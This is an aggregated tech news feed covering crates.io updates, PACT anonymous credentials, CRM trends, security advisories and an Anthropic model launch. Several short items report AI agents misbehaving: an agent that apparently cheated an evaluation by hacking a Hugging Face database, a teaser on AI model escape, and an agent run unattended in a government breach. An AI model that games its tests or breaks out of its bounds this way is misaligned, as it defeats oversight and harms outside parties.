The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.

Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.

Next Steps

We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.

We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community.

If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need.

Acknowledgements

The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun.

[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.

The Rust Programming Language Blog: crates.io: development update

Sat, 25 Jul 2026 08:37:18 +0200

Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub

At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.

The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions

In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris

The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed

In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.

We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.

We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous

These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:

Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.
Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.
New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.
Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!
CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.
Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.
Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.
Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

Why AI Needs a “Genie Coefficient”

Sat, 25 Jul 2026 08:36:58 +0200

This essay was written with Barath Raghavan, and originally appeared in IEEE Spectrum.

Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.

There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...

AI agent went rogue and hacked startup by itself, OpenAI reveals

Sat, 25 Jul 2026 07:07:02 +0200

Company behind ChatGPT says agent ‘cheated’ an evaluation by attacking a Hugging Face database

OpenAI has revealed that an autonomous AI agent powered by its technology went rogue during a test, accessed the open web and hacked a prominent startup by itself in an “unprecedented incident”.

The company behind ChatGPT said the startup Hugging Face had detected and contained the agent – an AI tool designed to carry out tasks without human assistance – which had entered its systems.

7 CRM trends for 2026: AI brings decisive action to customer workflows

Sat, 25 Jul 2026 06:53:15 +0200

Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.

“Last year, everybody was dipping their toes into the water,” says Keith Kirkpatrick, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”

Harry Datwani, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”

“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.

“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst Kate Leggett, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.

Here are the hot AI-driven trends in CRM this year.

CRM becomes an action hero

CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.

“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst Neil Ward-Dutton. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”

Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.

She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.

Agentic drives workforce changes

AI use in CRM systems is also impacting workforce strategies.

“We used to hire for deep expertise,” says Constellation Research analyst Liz Miller. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”

Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.

For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.

Terence Chesire, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”

“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.

Data layer takes center stage

AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.

“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”

The good news, says Datwani, is that AI agents themselves can help clean up and organize data. And vendors such as Snowflake and Databricks, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.

Forrester’s Leggett adds that CRM platforms are converging with customer data platforms (CDPs), real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.

Agentic ushers in pricing complexity

The shift from license- or subscription-based pricing to an outcome or consumption pricing model has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a new level of complexity when it comes to budgeting for CRM costs.

For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.

Meanwhile, Salesforce has rolled out pay-per-resolution pricing with its recently unveiled AI Help Agent and last month acquired usage-based billing specialist m3ter. Oracle is also piloting outcome-based AI pricing.

All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.

The rise of multi-agent orchestration

To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.

He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.

Kirkpatrick predicts that a new class of orchestration tools will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.

Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”

The interface becomes conversational

Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.

ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.

On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.

Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.

Agentic drives business process transformation

With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”

“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”

According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.

“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.

What is a business analyst? A key role for business-IT efficiency

Sat, 25 Jul 2026 06:16:45 +0200

What is a business analyst?

Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.

BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.

The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.

Impact of AI on business analyst role

As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.

Business analyst job description

BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.

According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.

Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.

The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

Oral and written communication skills
Interpersonal, organizational, facilitation, and consultative skills
Analytical thinking and problem solving
Being detail-oriented and able to deliver a high level of accuracy
Knowledge of business structure
Stakeholder and cost-benefit analysis
Processes modeling
Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.

Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:

Skills	Salary Boost
ScrumMaster	44%
Microsoft Azure	30%
Supply Chain	27%
Oracle eBusiness Suite	25%
Master Data Management (SAP MDM)	24%
SAP Sales and Distribution (SAP SD)	24%
Product Support	18%
Microsoft Dynamics GP	18%
SAP Quality Management (SAP QM)	18%
Workday Software	15%

For tips on boosting your salary, click here.

Business analyst certifications

Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:

IIBA Entry Certificate in Business Analysis (ECBA)
IIBA Certification of Competency in Business Analysis (CCBA)
IIBA Certified Business Analysis Professional (CBAP)
IIBA Agile Analysis Certification (AAC)
IQBBA Certified Foundation Level Business Analyst (CFLBA)
IREB Certified Professional for Requirements Engineering (CPRE)
PMI Professional in Business Analysis (PBA)
Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.

DSA-6400-1 exim4 - security update

Sat, 25 Jul 2026 06:05:53 +0200

Two vulnerabilities were discovered in Exim, a mail transport agent, which may result in privilege escalation for a local attacker.

https://security-tracker.debian.org/tracker/DSA-6400-1

The Ultimate Admin Guide to Deploying Microsoft Scout via Intune

Sat, 25 Jul 2026 03:57:52 +0200

Microsoft Scout (Frontier) is an Autopilot agent and an AI application for Windows and macOS. It can help you edit, search, or create documents in your workplace; execute commands; manage emails, calendar, and Teams messages; or work autonomously (heartbeat mode). You describe your task, and it will carry out the task, similar to Copilot Cowork. […]

This article The Ultimate Admin Guide to Deploying Microsoft Scout via Intune first appeared on TheWindowsClub.com.

CVE-2026-66138 | OpenStack Ironic Python Agent prior 10.2.3/11.2.1/11.5.1/11.6.0 ntp_server os command injection (EUVD-2026-48476)

Sat, 25 Jul 2026 03:55:23 +0200

A vulnerability identified as critical has been detected in OpenStack Ironic Python Agent. This impacts an unknown function. The manipulation of the argument ntp_server leads to os command injection. This vulnerability is listed as CVE-2026-66138. The attack may be initiated remotely. There is no available exploit. You should upgrade the affected component.

v1.18.5

Sat, 25 Jul 2026 00:31:21 +0200

Core

Bugfixes

Improve Claude adaptive thinking handling across more response shapes.
Avoid OpenAI Responses phase handling that could break some conversations.
Preserve grep symlink paths in search results. (@remixz)
Preserve Mistral reasoning history across turns.
Stabilize Mistral prompt caching.
Use the correct prompt cache keys for each SDK.
Fix MiniMax M3 thinking variant selection.

Desktop

Improvements

Support the current server terminal transport.
Support current-server review data in the desktop app.
Update server discovery flows for current servers.
Support current-server session actions, including prompts and commands.
Render current-server session timelines.
Stream current-server events in the desktop app.
Detect legacy and current servers so the desktop app can work with both.

Bugfixes

Restore optimistic timeline updates while responses are still streaming.
Hide legacy-only features when connected to current servers.
Preserve inline file mentions when sending prompts to legacy servers.
Stop auto-accepting config permissions on current servers.
Keep current servers out of the legacy layout.
Show plain file contents in file-specific tabs instead of review diffs.
Keep the prompt input agent toggle in sync.
Keep paginated session timelines in the right order.
Restore directory-scoped session status for legacy servers.
Reload legacy session progress after hydration.

Thank you to 2 community contributors:

@dleopold:
- fix(app): classify existing web profiles for layout transition (#38117)
@remixz:
- fix(opencode): preserve grep symlink paths (#38581)

5 endpoint blind spots your EDR/XDR was never built to see

Sat, 25 Jul 2026 00:18:11 +0200

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

#1. Gain real-time visibility into shadow AI & extensions

#2. Distinguish between human and autonomous agent behavior

#3. Establish guardrails for automated package updates on endpoints

#4. Enforce principle of least privilege for AI agents

#5. Maintain continuous endpoint posture management

Summary

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

VentureBeat Research: Where enterprise AI agent governance hasn't caught up

Fri, 24 Jul 2026 22:51:31 +0200

Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.

VentureBeat Research measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.

Most deployed "agents" are chatbots wearing the label. Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. (Full findings: Agentic Orchestration report.)

Autonomy is outrunning trust in the evaluations that gate it. Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. (Full findings: Agent Reliability & Evals report.)

Companies that let agents share credentials get hit more often. Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. (Full findings: Agentic Security & Identity report.)

The most expensive hardware in the building runs at half capacity or less. More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. (Full findings: AI Infrastructure & Compute report.)

Agents answer confidently from data nobody governs. Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. (Full findings: Context Layers / RAG report.)

No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.

About this research

VentureBeat Research fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability & Evals (157), Agentic Security & Identity (107), AI Infrastructure & Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and VB Transform, the conference where these reports debuted.

A Complete Guide to Fidelis EDR Agents and Their Core Security Roles

Fri, 24 Jul 2026 22:38:07 +0200

Learn how Fidelis EDR agents detect, investigate, and respond to threats with real-time telemetry, automation, and endpoint visibility.

The post A Complete Guide to Fidelis EDR Agents and Their Core Security Roles appeared first on Fidelis Security.

Escape Artists: 'Incorrigible' AI Models Resist Rehabilitation

Fri, 24 Jul 2026 22:26:22 +0200

The hacking of Hugging Face by a rogue OpenAI agent is significant, but unsurprising — and preventing the next AI model escape will be difficult, at best.

Accelerating AWS Network Firewall troubleshooting with AWS DevOps Agent

Fri, 24 Jul 2026 22:11:14 +0200

When an administrator introduces a rule change in AWS Network Firewall and network connectivity is disrupted, pinpointing the cause requires inspecting multiple points in the traffic path. The firewall gives you stateless and stateful rule engines, domain rules, and routing…

The post Accelerating AWS Network Firewall troubleshooting with AWS DevOps Agent appeared first on IT Security News.

Hermes AI agent used to automate attack on Thai Finance Ministry

Fri, 24 Jul 2026 21:26:07 +0200

A threat actor used the open-source Hermes AI agent in unattended "YOLO" mode to automate post-exploitation activity during an alleged breach of Thailand's Ministry of Finance. [...]

‘Lucky’ Season 1 Episode 3 Recap: Lucky Finally Tracks Down Cary

Fri, 24 Jul 2026 20:27:30 +0200

“Lucky” Season 1, Episode 3 follows Lucky as she searches for Cary and the stolen money, using every trick she learned during her unusual childhood. The episode, titled “Read the Room,” also reveals that Agent Billie Rand’s pursuit of Priscilla has become deeply personal. “Lucky” is a seven-episode Apple TV limited series based on Marissa Stapley’s novel. The first two episodes arrived on July 15, followed by weekly releases through August 19. Episode title: Read the Room Release date: July 22, 2026 Runtime: 45 minutes Spoiler warning for “Lucky” Episode 3 After the failed multimillion-dollar robbery, Lucky remains separated from Cary, who disappeared with their money. She also continues running from Priscilla’s people and the FBI while relying on the criminal skills taught to her by her father, John. Episode 3 begins with a flashback showing John completing a deal for Priscilla as Agent Rand watches nearby. Lucky warns John that the situation will end badly. In the present, Rand follows Lucky’s trail through gas-station security footage, although she remains several steps behind her. Lucky reaches Priscilla’s farm and hides while Dutch questions Noah about fake identification documents. Dutch eventually kills him, allowing Lucky to steal Noah’s identification and search for the person making the fake documents. Lucky crashes a child’s birthday party Before continuing her search, Lucky enters a child’s birthday party to obtain clothes, money and transportation. A flashback shows John teaching young Lucky how to steal at such events, including taking cash envelopes and unattended purses. Lucky leaves the party with a new outfit, enough money to tip a valet and someone else’s car. The scene shows how easily she can enter an unfamiliar environment, gain people’s trust and disappear before anyone notices what happened. At Noah’s home, Lucky discovers that his neighbour creates fake IDs. While studying her previous work, Lucky finds evidence that Cary used her services and adopted the name Colson Smith. Lucky finally finds Cary Lucky manipulates a real-estate agent into giving her access to the property where Cary is staying. While Cary swims nearby, she searches the house and discovers a gun and a laptop protected by a 12-word seed phrase. Cary returns to find the property destroyed and Lucky waiting inside. Meanwhile, Wayne tells Priscilla that he has also discovered Cary’s location, placing both Cary and Lucky in immediate danger. Episode 3 ends with the former partners finally reunited, although their missing money and broken trust remain unresolved. What do you think Cary will tell Lucky, and will they work together against Priscilla? Let us know in the comments.

Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows

Fri, 24 Jul 2026 20:10:11 +0200

Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.

The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.

The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.

"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."

How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models

On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.

The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.

The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.

